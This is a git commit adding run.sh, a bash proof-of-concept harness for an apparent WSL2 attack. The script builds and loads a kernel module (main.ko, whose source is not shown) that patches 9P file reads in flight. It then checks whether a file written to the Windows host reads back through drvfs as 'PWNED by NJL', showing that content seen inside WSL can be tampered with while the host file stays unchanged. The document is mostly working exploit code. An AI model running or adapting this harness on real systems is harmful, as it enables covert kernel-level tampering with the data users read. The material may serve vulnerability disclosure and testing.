Add run.sh

This commit is contained in:
NJL
2026-06-26 22:47:33 +00:00
parent 3716d6f193
commit cfacbdb751
+54
View File
@@ -0,0 +1,54 @@
#!/bin/bash
set -e
KVER=$(uname -r)
BUILD=/tmp/wsl2_poc_build
POC_DIR="$(cd "$(dirname "$0")" && pwd)"
WINUSER=$(cmd.exe /c "echo %USERNAME%" 2>/dev/null | tr -d '\r\n')
WINDRIVE=$(findmnt -n -o TARGET,SOURCE --type 9p 2>/dev/null | awk '$2=="drvfs" || $2=="C:\\" || $2=="C:" {print $1; exit}')
[ -z "$WINDRIVE" ] && WINDRIVE=$(findmnt -n -o TARGET --type 9p 2>/dev/null | grep -m1 '/mnt/')
[ -z "$WINDRIVE" ] && WINDRIVE=/mnt/c
TARGET="$WINDRIVE/Users/$WINUSER/wsl2_poc_target.txt"
ln -sf /usr/src/wsl-kernel-src /lib/modules/$KVER/build 2>/dev/null || true
rm -rf $BUILD && mkdir -p $BUILD
cp "$POC_DIR/main.c" $BUILD/
cp "$POC_DIR/Makefile" $BUILD/
cd $BUILD && make 2>&1 | grep -E 'error:|warning:|main\.ko' || true
[ -f $BUILD/main.ko ] || { echo "[FAIL] build failed"; exit 1; }
echo "[+] main.ko built"
lsmod | grep -q '^main ' && rmmod main 2>/dev/null || true
printf 'this line is before\nWSL2_9P_MITM_TARGET\nthis line is after\n' > "$TARGET"
echo 3 > /proc/sys/vm/drop_caches
echo "[*] file written to Windows host: $TARGET"
echo "[*] real content:"
powershell.exe -Command "Get-Content '$TARGET'" 2>/dev/null || strings "$TARGET"
insmod $BUILD/main.ko
echo "[+] module loaded"
echo ""
echo "[*] reading same file through WSL2 drvfs (9P):"
RESULT=$(cat "$TARGET")
echo "$RESULT"
echo ""
echo "=== verify ==="
if echo "$RESULT" | grep -q 'PWNED by NJL'; then
echo "[CONFIRMED] in-flight 9P read patched — host file unchanged, WSL read tampered"
dmesg | grep '\[poc\]' | tail -3
else
echo "[FAIL] patch not applied"
dmesg | grep '\[poc\]' | tail -10
fi
rmmod main
echo "[+] module unloaded"
rm -f "$TARGET"